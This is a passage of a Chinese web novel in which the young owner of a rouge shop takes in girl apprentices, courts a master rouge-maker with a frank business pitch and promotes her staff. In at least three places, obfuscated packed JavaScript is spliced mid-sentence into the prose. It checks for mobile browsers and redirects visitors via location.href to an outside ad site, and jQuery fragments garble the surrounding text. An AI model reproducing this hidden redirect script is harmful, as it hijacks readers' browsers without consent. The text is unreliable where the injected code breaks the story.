二丫坚决地点点头：“嗯，紫玉姐，我不想在那个家待了，我想出来赚钱，我想离他们远远的，小姐说，只要您能收我为徒，我就能在香玉坊待下去了，紫玉姐，求您，求您收下我吧，我保证会乖乖听话的。” “这……”紫玉眼巴巴地看向师父。 师父手握成拳抵在嘴边颔首清了下嗓子：“咳！” 这便是同意了！35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15083559|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 紫玉要开心到几乎要飞到天上去。 她转头看了看身后那些怯生生的小姑娘们。 那些小姑娘最小的六七岁，最大的也不过十二三岁，一个个都怯生生又无比期待地躲在师父身后朝她这边望，一双双未被尘世污染过的大眼睛黑白分明，正水汪汪地往这边儿小心翼翼地瞧。 最小的那个孩子甚至还用小手攥紧了的衣角，只在蔚元柳后头露出一双眼睛犯憷地看着紫玉，见她瞅过来，吓得赶紧钻到蔚元柳身后用她的身形将自己完全挡住，在她腿后奶声奶气地小声问道：“师父……这是窝们的大西姐嘛？” 大师姐？ 紫玉低头看了看王二丫，又偏过头去看了看自己的拿群小徒弟们，认真地想了想。 她跟王二丫认识的时间也不算短，有两三年了吧？如果按这个时间来算的话，好像…… 是的？ “啪！” 想清楚这件事后，紫玉当即在王二丫肩头狠狠一拍，朝着她的小徒儿们大声宣布道：“是的，从今以后她就是你们的大师姐了，以后都跟着师祖、师父、大师姐好好干，日后等你们能自己养活自己了，就不用被家里人卖出去了，知道吗？” “知道！” 白栖枝就这样站在众人身前笑眯眯地看着，见蔚元柳身后的那个小家伙又小心翼翼地探出头来，朝紫玉看了一会儿便定眼往她身上瞧，她心内觉得好玩，敛了衣裙蹲下身，朝她招招手：“小妹妹，过来。” 吓得小姑娘赶紧牵住蔚元柳的衣角，纠结地咬着小手抬头朝蔚元柳瞧。 蔚元柳毫不留情地将她往前一推：“去见过东家。” 眼见着面前神仙似的人物就这样蹲在自己面前，小姑娘羞答答地低头，两只小脚脚尖紧张地在一起蹭来蹭去，小声喃喃道：“东家……” 白栖枝眼中笑意更甚，拉着她的小手温声问道：“小妹妹，几岁啦？” “六岁半了……” “这么小……怎么想着来香玉坊当学徒啊？” “嗯……狮虎说香玉坊的东家是个很好很好的人，来当学徒就可以吃饱穿暖，不用担心被打，每个月不仅能有钱买好吃的，还能给家里面寄过去好多，所以窝就来了，东家——”她小心翼翼地看向白栖枝，很认真很认真地说道，“我爹娘总说窝是赔钱货，他们不喜欢窝，但能是听说我可以来这儿他们可高兴了，说以后就可以不用养窝了。东家，窝们在这里，真的可以有吃的吃、有地方可以住、还有钱可以拿嘛？” 她说着，眼睛眨也不眨地看向白栖枝，水葡萄似的眼睛里都是对美好未来的期待。 白栖枝心尖儿一颤。 她拉着小姑娘的手，轻轻晃了晃她瘦弱见骨的小胳膊，也很认真很认真地答道：“当然！在东家这里，不仅有吃的可以吃、有地方可以住、有工钱可以拿，而且东家还保证，只要你们想，你们可以一辈子待在香玉坊里，不会被卖，也不用被迫出去嫁人，东家、你们师父，还有店里很多很多很多的人都会好好保护你们的！” 说罢，白栖枝缓缓起身，松开她的手，视线略过她们每一个人的小脸，随即侧身做了个“请”的手势，朝着她们垂眸低首浅笑道： “欢迎来到香玉坊，诸位坊内日后的小伙计们——” “里面请。” …… 76. 问询 在紫玉的带领下，小孩子们一个接一个地排排朝着香玉坊内走去。 蔚元柳原不觉得白栖枝是个怎样的人。 她虽从紫玉口中听过关于白栖枝的事，但到底没见过真人，对于紫玉说的那些也是半信半疑。 如今一见，尽管仍不认为她能做得了一位好东家，但见她举手投足间的气派，却是可以笃定此人是个浑金白玉似的人物，紫玉能跟着这样的东家做事，日后未必会有她想的那么糟糕。 “蔚大师。” 蔚元柳正看那些孩子想看得出神，忽听这一声唤，抬眸，只见白栖枝不知何时已经转过身来，正朝着她薄唇轻勾，朝香玉坊上间儿做了个手势： “看样子蔚大师似乎仍有些事想问我，倘若蔚大师方便的话，不妨楼上请？” 蔚元柳点点头：“好。” 两人拾阶而上。 白栖枝在前，蔚元柳在后。 从这个角度，蔚元柳更好地能仔细观察白栖枝的举手投足。 按理说，她早些年也是同许多商贾人家的大人谈过生意的，其中也不乏有女代父而谈，但论其其形容举止，与面前这位所谓出自“林家远房表亲”的白小姐相距远甚。 倒也不是说其他家的小姐不好，就是感觉面前这位小姐身上总有股说不清道不明的味道。 这股味道很怪，她虽说不出来，但总能确定一点——这位白小姐肯定不是出身商贾之家。 正当蔚元柳还在揣度面前人的身世时，白栖枝已转身侧向一边，同她温声笑道：“蔚大师，请上座。” 蔚元柳觉得面前的这个小姑娘很怪。 明明她是在笑，笑得也很温和，但身上总是会流露出一丝丝令人觉得与她相违和的气质。 “玉偶。” 蔚元柳脑海中突然蹦出这么个词来。 是了，玉偶。 虽然是在笑，可这笑却像是被人刻意塑造出来一般，骤然看去没什么，但只要有有心人细看，就会发现这张笑面假得如同被精心操控着的玉偶一样，令人见之生寒。 白栖枝不知道蔚元柳为什么一直盯着她看。 是她的表情很奇怪么？ 不会的，她已经精心学习过沈哥哥的笑容了，那种笑容是温暖的、柔和的、令人见之生怜的…… ——她最喜欢这样的笑容了。 两人相对而坐。 与楼下的热闹不同，楼上只有他们两个。 坐下之后，蔚元柳并不再看向白栖枝的脸，只是偏过头去一直看着楼下人来人往的景观，抿唇不语。 白栖枝也不着急，也随着她的目光微笑着朝楼下望。 清浅的呼吸声在两人之间萦绕，两人都沉默着思考自己的事。 直到—— “白老板。” 蔚元柳突然开口，白栖枝骤然回过神来，笑着看向她。 只听蔚元柳毫不避讳地问道：“既然白老板已经请了旁的制粉师，又何必叫我家香玉会师门请人来此？要知道，现在市面上大多数要的都是那些新流派的人，而像我们师门这般做出的古法胭脂，既耗时又耗力，需要的工钱也不少，白老板何不只聘用那些新流派的制粉师，叫我们这干人前来做什么？” 这语气听起来有些不悦。 白栖枝知道她在怪什么：世人皆道文人相轻，其实像做胭脂这种手艺活也是如此，更别说像紫玉、蔚大师这般坚持只做古法胭脂的人了，在她们眼中，新流派的那些制粉师所作出的东西，都是些偷工减料的残次品，哪里能和她们这些从老祖宗手里一代代传下来的正统胭脂工艺相提并论？恐怕在他们眼中，日后要同这些新流派的制粉师一同共事，对她们来说乃是极大的侮辱。若无一番好的解释，她们是绝不愿意同这些新流派的制粉师们打成一片的。 这一点，白栖枝在聘用那些新流派的制粉师时就已经想到了。 所以此刻面对蔚元柳的埋怨，她并不惊慌，只是微笑着看向她，脱口而出道：“自然是因为白某想同时赚两份钱呀。” 蔚元柳：“……” 她本以为白栖枝会同她客套客套，比如说自己如何注重古法胭脂的独特价值，又或者是惜才怜才之类的话术，也好能让她拒绝一下。可她万万没想到白栖枝竟直接将目的如此直率地说出来，明明这是最容易令她拒绝的话术，可面前的小姑娘就这样把这最赤裸裸的理由说了出来，反倒让她一时间有些无法招架得住白栖枝这份的坦诚。 这也正在白栖枝意料之内。 所以，在面对蔚元柳空白茫然的神情时，她只是笑，伸出一只手，五指并拢，手心朝上，“指”向楼下那些所谓的“新流派”的制粉师们解释道： “不瞒蔚大师，白某曾于李掌柜处，闻得大师当年之丰功伟绩，钦佩不已。想来在白某之前，大师定然见过诸多资历深厚、经验丰富的前辈，其圆滑之辞，想必早已听之生厌。白某并不愿与蔚大师虚与委蛇，所以开门见山地说，白某聘请诸位的理由很简单——白某就是让想香玉坊同赚两份钱。” 说到这儿，蔚元柳还是一副没缓过神的模样，直盯着白栖枝看。 白栖枝便收回手，用葱白指尖在桌面上缓缓画道：“蔚大师可能不知道，在就在两个月之前，香玉坊还是一副半死不活的模样，二月份，白某使了些还算能见人的小手段，这才使香玉坊重新支棱起来，但相对的，这些手段香玉坊也进入到了一个上不来下不去的尴尬境地，使得香玉坊自二月后便一直业绩平平，与其他胭脂水粉店所入相距甚远。而白某是这样想的——” 她抬头看了眼蔚元柳，见对方并没有阻止她，而仍旧是一副蹙眉细听的模样，便笑笑，垂眸继续讲道：“这钱嘛，赚一份也是赚，赚两份也是赚，那为何不让咱们香玉坊二手其抓？蔚大师，您或许觉得新流派的制粉师偷工减料、质量不佳，可在那些平明百姓眼中，质量并不是她们最先考虑的因素——钱才是。” “因为手中的钱少，而家中留给妇人们的钱更是少之又少，所以对于她们来说，她们宁愿去买一些品质不佳但价格廉价的胭脂水粉，也绝不会花费高昂的价格去买您那些高档货。而相对于您的古法胭脂来说，现如今摊贩上售卖的那些胭脂，虽然品质不佳，但重在成本不高，制作量大，并且足以讨那些平民百姓家的夫人们的欢心，甚至不只是平明百姓，就连花楼里的一些名不见经传的姑娘也十分喜欢这种用新工艺制作出胭脂，几乎是每月必备，既然如此，白某又为何要放弃这大把大把的银子不赚，转而去赚那一个牛角尖呢？” 蔚元柳听着她的分析，一双秀丽的丹凤眼中闪过一抹赞许之色。 但她并不开口，只仍持着那副冷冰冰的模样看着白栖枝，沉声道：“继续。” 见蔚元柳并无抵触神色，白栖枝内心狠狠松了口气，面上却仍是那副笑眯眯的波澜不惊的模样，咽了口唾沫，继续道：“然后就要说到蔚大师您这一脉所传承下来的古法胭脂了。” “按照我上面所说，新流派能帮香玉坊赚到平民百姓手中的银子，却也是只能赚到他们的银子，这对于香玉坊来说是远远不够的，所以我打算让香玉坊将手向下伸的同时，也要将手伸到上面，去摸一摸那些达官贵人的喜好。” “众所周知，“达官贵人们追求的不仅是胭脂的品质，更是其背后的文化与底蕴。他们愿意为一份承载了千年工艺的古法胭脂付出高昂的价格，因为这不仅仅是一盒胭脂，更是一种身份的象征，而这些只有您师门所流传下来的古法胭脂制作工艺才能做到。” 说到这儿，白栖枝微微一顿，目光中透出一丝精明。 她轻轻敲了敲桌面，语气中带着几分笃定：“您的古法胭脂原料上乘、工艺精细，又是师门内传承百年有余的老法子。这其中，每一道工序都承载着历史的厚重感，这正是那些达官贵人所追求的独特与尊贵，他们愿意为这份独一无二的文化底蕴买单，甚至不惜一掷千金，只为提高自己的身价。并且她们与平明百姓家的夫人相对而言最不同的是，这些富贵人家的夫人往往愿意在花费大价钱购置东西时，也常往往有着与其相同的耐心。在她们眼中，越是难做费时的东西越是好，只要是好的，她们就愿意等，而这恰好可以弥补古法胭脂的制作工艺复杂，耗时耗力，产量有限的问题，只要咱们做出的胭脂能配得上咱们所用工序的时长，无论咱们的胭脂究竟需要研制多久，她们都愿意等——更何况物以稀为贵，哪怕咱们每月仅出少量且价格高昂，仍会有人为此买单，甚至还会同其他贵妇人们夸赞！倘若香玉坊能借此机会，将古法胭脂打造成一种身份的象征，不仅能吸引那些那些达官显贵人家的贵妇名媛，还能在淮安境内上树立起独一无二的店铺旗帜，到时候又何尝需愁咱们香玉坊不能扬名立万？！” 在说道这儿的时候，白栖枝俨然像是变了一个人，眼中此前的温和消失得无影无踪，取而代之则是对金钱趋近于无限的狂热。 ——疯了。 蔚元柳在心中如是说道。 可她转念一想：人在年少时最需要的不正是这股疯劲儿么？ 当年她也是凭着这股疯劲儿从师门闯了出来，打败大昭境内无数制粉师，才搏得了一个“香泽圣手”的称号。 虽说往事不可追，可纵观自己生平，最令她感到快活的，不正是那段时日么？ 倘若没有当年那股疯劲儿，她蔚元柳还能是如今的蔚元柳呢？ 此刻面对如同“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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这盘玩意儿蔚元柳方才进坊时便看到了，只是楼上所设较之楼下更为新鲜清甜。 她捧起茶盏轻抿一口。 竟是上好的六安瓜片！ 果然，无论香玉坊如何落魄，到底还是依靠着林家，就算败落了也较之其余铺子更为富贵几分。 “白老板真是有心了。”蔚元柳放下杯子，“只是……” 她这一转折，倒听得白栖枝一颗小心脏上蹿下跳。 要知道，她为了准备这些，荷包已经空旷到可以供一群人打群仗了，她真的一分也没有了。 如果此般诚意还是不能令蔚元柳满意的话，她就真的没办法了。 正当白栖枝还在惴惴不安时，只听蔚元柳道：“蔚某听说，如今这香玉坊的地契还在林老板手里，若他某日发怒，将地契收回，不知香玉坊……” “啊……您是说这个？” 未等蔚元柳说完，只见白栖枝从怀里掏出一张薄薄的纸。 她打开，上面俨然是香玉坊的地契。 白栖枝解释道：“其实这地契并不在表哥手中，而是在沈哥哥手中，自我二月份达成考绩后，沈哥哥就将这份地契赠与我了，所以大师您不必担心。” “白老板天天都带着这个？” “倒也不是。”白栖枝将地契收回至心口，想了想，缓慢说道，“其实按照白某的计划，今日若紫玉阿姊再不回来，白某就要同坊内众人去寻紫玉阿姊了。虽然知道带着这份地契没什么用，但是为了以防万一，来坊内前就随手揣着了，没想到果然有用，实在是太好了。” 她一副笑得傻兮兮的模样，倒让蔚元柳摸不准她是什么性格了。 蔚元柳盯着她看了好半晌，从上到下，恨不得将白栖枝整个人都打量个透亮。 白栖枝并不忌讳这样的目光。 或者说，在蔚元柳之前，她已经不知道被多少人如打量着一块猪肉般赤裸裸地打量了。 所以对于蔚元柳不算礼貌的目光，她也只是笑盈盈地问道：“蔚大师，怎么了？” “没什么。”蔚元柳淡淡道，“只是我见姑娘这通身气派不像是商贾之女——您到底是什么人？” 白栖枝墨澈双眼里温柔的笑意愈发浓重。 她抬手摸了摸头上的玉兰花发簪，唇角微微扬起了一抹笑。 “我么，只是个籍籍无名的之人罢了，之所以不似商贾之女，是因我本是官宦人家的女儿，因家中生了些事端，这才不得不来投奔表兄，借以林家的身份存活至今。倘若没有表兄与林哥哥，栖枝恐怕如今只是一具无名枯骨了。所以倘若您非要问我是什么人，那么我只能回答：除却是林听澜表妹，沈忘尘徒弟，香玉坊东家之外，我——” “什么人也不是。” …… 77. 救她 白栖枝可谓是心力交瘁。 方才与蔚元柳说的那些原不是她准备好的说辞。 原本她是想要恭维一下这位久居山林的蔚大师的，但在看到她那双清冷藐视一切的凤眸时，她就已经知道，这人此前应早已听过许多虚与委蛇的奉承话，若她执意要说之前准备的那些虚话，这人肯定是连半个眼神都不会分给她的。 所以，她直接换了个策略：她赌蔚元柳很少见一个疯子当东家。 从最开始的开诚布公，到后头那般癫狂热切的激烈言辞，一切的一切都是白栖枝有意演出来给蔚元柳看的。 她赌她会对她感兴趣。 ——疯了。 白栖枝这样评价着自己。 下楼的时候，白栖枝累到几乎眩晕，在走到最后几阶台阶时差点一脚踏空，好在紫玉手疾眼快地扶住她，这才没让她扭到脚踝。 “东家。”紫玉一脸心疼，“如果太累的话就歇歇吧，铺子也不差这一两天，你又何苦把自己逼的这么紧呢？万一熬坏了身子，那可就得不偿失了。” 紫玉的担心不无道理。 自方才看见白栖枝时，她就注意到这人眼下有着一片暗淡的乌青，依东家的性格，想必她这几日为了招人也必定是费极了心思、熬尽了心血的。 坊里人谁不知道，他们的这位小东家就是整个坊里的主心骨？倘若她因此又病倒了，眼下的一切岂不是刚将将立起就又要倒塌？ 那这香玉坊还能开得下去么？！ 好在白栖枝只是刚才那一阵眩晕，被紫玉扶着站了一会儿也就好了，见紫玉一副想说什么又不能的样子，白栖枝安慰似的握着她的手拍了拍她的手背，随即拉着她的手缓缓将她牵往库房。 “东家好！” 后院内，一张张稚嫩的小脸纷纷扬着头朝她笑，清瘦小脸儿上的笑容憨态可掬，白栖枝光是看着就觉得心化成了一汪水。 这批孩子中全是小姑娘，白栖枝不知道她们的名字，见她们纷纷凑上前来问好，也不烦躁，只将双手相交于胸前，左手握住右手拇指，左手拇指向上，微微行了个叉手礼，温声道：“诸位小伙计们好。” 大家没见过这种礼仪，一时间，在场所有的小姑娘都觉得这动作好看又有趣，纷纷互相叉手笑嘻嘻地有模有样地学了起来。 “好了好了，东家有话跟紫玉姐姐说呢，你们就别添乱了！” 果然，做上大师姐，王二丫的气势一下子升起来。 只见她一手掐着腰，一手指挥着这帮黄毛小丫头比比划划道：“你们！去洗红蓝花！你们！去把她们喜好的红蓝花拿去杵碓水淘！还有你们……” 王二丫一副严厉大师姐的模样逗得紫玉与白栖枝相视一眼，皆忍俊不禁。 “二丫。”紫玉唤了一声。 原本还佯装凶巴巴模样的王二丫立马换了副笑面，转过头来脆声应道：“哎！” 紫玉朝她招招手。 王二丫立马屁颠屁颠地跑了过来，挨个问好道：“小姐！师父！” 紫玉道：“如今你已经是大师姐了，二丫这个名字不衬你，也该给你换个名字了。” “师父想叫我什么？”王二丫眼睛亮晶晶的。 紫玉本是一时兴起，这下真让她想，她反倒想不出什么好名字。 紫玉尴尬地挠了挠头，求助似的看向白栖枝。 “苏合。” 白栖枝缓缓念了一句诗：“胭脂含脸笑，苏合裛衣香[1]” “苏合……苏合……”王二丫将这个名字在齿尖碾了又碾，只觉满口芳香。 她忽地眼睛一亮，一下子拽住紫玉的袖子，跳着笑着叫道：“师父，我有名字了！我有新名字了！我不叫王二丫了！” “我叫苏合。”她说，“我以后就叫苏合了！苏合……” 蓦地，她朝白栖枝猛地跪下，郑重地磕了个响头，抬眸用那双水汪汪地眼睛看向她：“苏合愚钝，多谢小姐赐名！” ——栖枝梼昧，还求沈哥哥垂怜。 白栖枝一愣，随即俯身去扶，温声笑道：“好了，起来吧，不过是个名字而已，不必行如此大礼。”她顿了顿，又道，“我同你师父还有些事要说，你先去照看师门里的那些小师妹吧，她们年纪小，初来乍到难免新奇，若是笑闹时一不小心磕碰到就不好了，你去看着她们些，别叫她们闹得太过。” “是，小姐！”苏合起身，拍了拍身下的灰尘，笑盈盈道，“苏合这就去办。” 她一走，白栖枝长舒了口气，自言自语地喃喃道：“果然还是不习惯啊……” 紫玉关切道：“怎么了，枝枝？” 白栖枝摇摇头：“没什么，只是我第一次当这么多人的东家，难免有些紧张——看来以后要多多适应了，不然天天这么端着，还真是有点累啊。” 说着，她将紫玉牵到库房内。 两人进了屋，关了门，白栖枝才再次开口：“紫玉阿姊，方才见你好像有什么话想同我说，是这一路上发生了什么事么？” 紫玉见她如此疲惫，本不想说的，奈何白栖枝一直拉着她的手左右摇晃着撒娇，紫玉抵不住她这小模样，便只好硬着头皮说道：“其实也不是什么大事，就是关于那些小家伙们……怎么说呢？唉，实在是难说。” 白栖枝微微蹙眉：“可是在工钱上有什么问题？是少了么？” “没有没有！这个肯定没有！”紫玉赶紧摆手解释道，“她们还是小学徒呢，每月就能赚一吊半的钱，东家给的价钱已经很高了，怎么会少呢？” 她打从回来后便想与李素染商讨有关于这些小女娃工钱的事，没想到白栖枝早就拍板定下了，若是她请回来的是同门师兄妹的话，月俸便为三吊半的钱，倘若是学徒的话，那便只能一吊半，毕竟香玉坊赚的也不多，更何况那些小学徒们还需要教授后才能成为真正的制粉师，这其中所需时长不短，她们一时间很难帮得上坊内什么忙，只能暂定月俸一吊半。 至于吃住——住的话，她早叫李素染去城内租了处便宜的小院子，契子都签完了，就等着她们去了；吃饭的话，平日里就跟坊内伙计一样，现如今店内又摆放了新鲜瓜果零嘴用以待客，倘若当日那些小玩意儿客人没吃完的话，左右放到明日也就不新鲜了，就在坊内打烊前叫这帮小女娃们都拿回去吃吧。 白栖枝将自己的这些想法说给紫玉听，后者听完，当即感动得快要落下泪来。 “东家！我紫玉敢拍着胸脯保证，您一定是全淮安——不，全大昭最好的东家了！她们跟着您，简直就是天大的福分！从此以后，我一定会好好领着她们，不许让任何人忤逆您！” “这……倒也不必如此激动嘛。”白栖枝嘴上这么说，心里听得简直心花怒放！ 她是最好的东家！ 嘿嘿！她是最好的东家！！！ 白栖枝恨不得拽着林听澜的耳朵让他亲耳过来听一听，省得他老是瞧不起她。 不过这似乎也已经是很久以前的事，谁让她记性太好，连带着记仇都记得更久呢？ 白栖枝小狗一样高兴地摇了摇身后的小尾巴，思绪又回到眼下的正事上，忍不住开口问道：“倘若不是工钱与食宿的话，紫玉阿姊又在担心什么呢？” “唉——这事说来话长。”紫玉长叹了一口气。 她抿唇顿了顿，这才将自己回村后遇到的事尽数讲给白栖枝听，包括她小师妹自杀的那段。 白栖枝一直在细细地听着，听到小师妹自杀时，她狠狠吃了一惊，像是遇到了什么可怕的事一样，面色都吓得惨白：“吊、吊死了？！” “是啊。”紫玉又长长叹了口气。 白栖枝抿唇默然了好一阵儿。 良久，她抬头道：“我明白了，紫玉阿姊，你是担心这些小女娃们会步了你小师妹的后尘？” 紫玉郑重地点点头。 她说：“东家您对我说过：‘不要向上去怜悯，要向下看。只有向下看，才能看得到人间最真挚的苦难。’现如今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15092923|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，我眼睁睁地看着小师妹的陷入苦难却无法救她脱身……不，与其说不能救她脱身，而是她已经是那个样子了……您知道么？她哪怕回了家，哪怕被她那该死的夫家害至流产，她心心念念的却仍是她有没有为那两个畜生诞下男婴。这样的人，就算我劝，她也未必想要脱离苦海，她已经被规训了，她变不了了，谁都救不了她了！可是——” 她骤然看向白栖枝的眼，眼中似有星星之火骤然点亮。 白栖枝只觉得她恨不能将这簇燃烧至自己眼中。 只听紫玉郑重道：“可是东家，这些孩子们不一样！前半生她们受的苦可能永远无法无法被弥补，可我希望，她们日后不要，至少不应该像我小师妹一样被那些苦难一次又一次地拽入泥潭，她们还那么小，她们还有的是机会，她们不应该被当做一口牲畜一样在一次又一次地能出逃的时候，被自己身上的那些枷锁一次又一次地拽进那片泥潭中！” “所以，我想求东家一件事，只是一件小小的事，您可不可以、可不可以……” “多带着这些小女娃们出去看看？哪怕只能从远处悄悄地偷看一眼，也要让她们知道，在淮安，女儿也是可以出来赚钱养活自己的，女儿也是可以不用被逼着嫁给一个畜生的！” “东家……” 紫玉也不知道为何自己会如此激动。 原本她应该是对这些事都没有感觉的才对，明明她不应该掺和这些麻烦事才对！ 可是不知道为什么，当她接触到白栖枝后，当她听到白栖枝与大爷的赌注后，在她看见白栖枝为那位疯子学谕奉粥、为那一对孤苦无依的乞儿兄妹双手捧粥并垂下那一滴泪点后，她的胸腔中似有什么东西，一点点，如同冲破某种诅咒般从心口处泛滥开来。 不对啊。 一切都不对啊！ 明明她小时候也是个倔强又伶俐的丫头的，明明她小时候也很要强的，为什么？为什么自从踏入香玉坊后，她就像变了一个人，除了四处花痴之外什么都不晓得了呢？ ——有时候我也觉得很奇怪，当我第一次见到大爷和沈公子的时候，我仿佛天生就该觉得他们天生就是这世上最好的人，他们天生就该是最般配的一对，以至于当白小姐来时，我便几乎疯魔般地认为她就是来拆散她们两个的，她天生就是来破坏大爷与林公子的恶人，我天生就要与她为敌。 ——可是，不是的，小姐她不是什么恶人，小姐她人很好的。可我那时候就是疯了，无论小姐做了什么，我都认为她是带着别样的目的，无论小姐说什么，我都觉得她是在蒙骗大爷和沈公子，她想要害他们！现在回想起来，那时候的我真是疯了，可是我不知道我为什么疯，我一直都是浑浑噩噩的，直到…… ——直到小姐救了我的命，直到小姐一次次地站出来纠正大爷的错，直到小姐一次次地在大爷面前证明自己不像她口中说得那么不堪的时候，我突然觉得，大爷似乎也没有我想的那么好。反倒是小姐，她实在是出乎我的意料。有时候我甚至觉得跟着她，自己才像是一个活生生的人一样可以为自己而活，只有跟着她，我才一点点地想明白我到底是在活个什么劲儿！ ——如今想来，真是奇怪，明明我与小姐素昧平生，为什么我就会那么恨她呢？明明她也才是个方年入豆蔻的小姑娘呀，我当初怎么就会那么恨她呢？ 这是春花以前同她闲聊时跟她说过的话。 紫玉当时听了，并未觉得有什么，可转念细想，好像当初坊内每个人在初次见到小姐时也是这般针锋相对的。 到现在紫玉也不明白自己当时为什么要和一个小女娃硬较劲儿。 好奇怪啊，这种感觉。 就好像…… 因为她失足踏入一个本不该是由她来当善人的领域，所以！ 她们天生就该是恨她的…… ——她们天生就该是恨她的。 …… [1]白居易《裴常侍以题蔷薇架十八韵见示因广为三十韵以和之》 78. 分配 如今坊内人手齐全，众人各司其职，白栖枝觉得是时候该归拢一下店内的职务分配了。 可这事儿说来简单，思考起来却不是一般的难。 况且大家之前说得对，她既做了东家就不可能一天两天地总是往这儿跑，叫人看了不成样子。 是时候该立个店长了。 所谓牵一发而动全身，一旦要立店长，其他职务也要跟着变动。 白栖枝成宿成宿地看着众人的身份生平，相互比对，最终于四月末的最后一天敲定坊内诸多事宜。 而这话，早就传到了坊内众人的耳朵里。 大家都在心底掂量着自己在坊内的分量。 天不亮，香玉坊内的伙计们就一个个按着坊内分工团成四五团，一个个翘首以盼，皆等着白栖枝的莅临。 熬了好几天，白栖枝差点睡过头。 明明昨天打烊时，刚说好要大家早点来，她又是对大家说，没想到这一觉就睡到了卯时初，急得连沈忘尘、林听澜叫她去用早膳都不去了，赶紧洗漱穿衣，拎着昨夜整理好的那一堆手札就往香玉坊奔，看得前两者都担心她哪天一个撑不住，身子就会垮下去，赶紧叫人拎着一篮糕饼给她送过去，顺便看看她又要在坊里做什么事。 “东家。” 甫一进门，见众人都在一楼内等候，白栖枝还真有些招架不住。 虽然人都是她一个个看着招进来的，但她的思绪好像还停留在坊内只有李素染他们几个的时候，骤然见到这般人山人海的模样，难免双腿发软，有点怯场。 白栖枝几乎是把着扶手一阶阶踩上二楼的。 此时天已大亮。 与其他店铺不同的是，除了莫伯与莫当时两个男子意外，整个坊内都是女子做事，而这恰巧正是白栖枝想要的。 ——这世上唯有女子才更体贴女子。 既然她们铺子是为女子所生，那她就要打造一个全都由女子来经营掌管的店铺，她偏要叫所有人来看看，自古巾帼不让须眉，饶是柔弱无骨的女儿家，也自能搏出一番天地来！ 白栖枝登上二楼的长廊。 她从二楼往下望，日光透过门窗，在她们的脸上映了个亮堂堂。 每一个人的脸上，或期待，或欣喜，或焦急……各种神色交织在一起，不一而足，但举目望去皆是热忱与希冀——这也就意味着，淮安境内第一家由女子们掌权经营的店铺，在今天，正式开业了！ 白栖枝的心内倏地涌起一股热流。 此时此刻，她的手里还攥着昨晚拟好的那些客套说辞，可现在，看着众人扬起的头颅，她忽地觉得那玩意儿毫无用处，索性就将它揉成一团捏在手里，任凭手心里攥出的汗将它浸湿，缓缓开口： “各位。” 白栖枝深吸一口气，目光扫过楼下每一张面孔，声音清亮而坚定：“今日召集大家前来，是为了宣布香玉坊的职务调整。香玉坊能有今日的成就，离不开诸位的辛勤付出。为了坊内的长远发展，我决定对大家的职责进行重新分配。”她顿了顿，目光落在李素染身上，“自香玉坊开业以来，李掌柜一直朝乾夕惕，克尽厥职[1]，这一点，我都是看在眼里的。然，生意之道，贵在与时俱进，常变常新。商海波谲云诡，唯有不断进取，适时调整，方能立于不败之地。所以我宣布——从今天开始，李掌柜便不再是我们香玉坊的掌柜了！” 此话一出，众人倒吸一口冷气，连带着李素染脸上也尽是愕然：“东家……” “东家！这不合规矩！”还是紫玉率先从众人中脱颖而出，抬脸朝楼上的白栖枝急急道，“李掌柜为坊内兢兢业业，日夜操劳，怎么能说掳去她的职务就掳去呢？东家你是不是弄错了？！” “弄错了？怎么会……”白栖枝墨澈双眼里温柔的笑意愈发浓重。 她莞尔一笑，随即又将目光落回到李素染身上，轻声问道：“李掌柜，你觉得，我会弄错这种事么？” 李素染还沉浸在方才的惊愕中回不过神，听白栖枝这样唤她，她收回失散的魂魄，淡淡道：“东家既然不会弄错，既然东家不想让我继任香玉坊掌柜一职，那我就……” “好！”白栖枝等的就是她这句话。 不待李素染说完，她打断了她，将身子向前一倾，双手撑在面前低矮的栏杆上，敛去面上笑意，高声道：“即日起，将李素染擢升为店长，日后我不在店内，皆由李素染代替我管理香玉坊一切事宜。诸位，可有异议？” 静。 此言一出，众人皆是一愣，随即纷纷看向李素染。 素染显然也没料到这一决定，脸上闪过一丝惊讶，她努力平复心情，纵然心里一惊乐开了花，但毕竟她都是店长了，总要在大家面前多出来些深沉。 是以当众人看向她的时候，她很快便恢复平静，两手手臂伸直，手掌向内，弯腰行礼，高声道：“李素染，多谢东家提拔。” 店内爆发出一阵潮水似的欢呼。 在那些新进坊内不久的人还在讶异于他们为何如此高兴时，紫玉、莫当时以及春花已经要恨不得抱在一团蹦起来欢呼了。 而紫玉的那些小徒弟们不知道为何师父如此高兴，但看着师父这样，约摸着应该是发生了件顶好顶好的大事，也跟着抱在一团欢呼雀跃。 白栖枝伸手挥了两下，示意他们话还没有讲完，不要如此激动。 众人赶紧平息心绪，苏合也赶紧管好自己身后鸡崽子们一般的小师妹，叫她们别出声。 坊内又恢复一片安静，众人又抬手看向白栖枝，等待她的安排。 白栖枝又道：“李素染擢升店长后，坊内掌柜一职便有所空缺，春花——”她的视线又落在春花身上、 “小……东家！”春花还是没适应管白栖枝叫东家这件事。 她向前一步，静待白栖枝的安排。 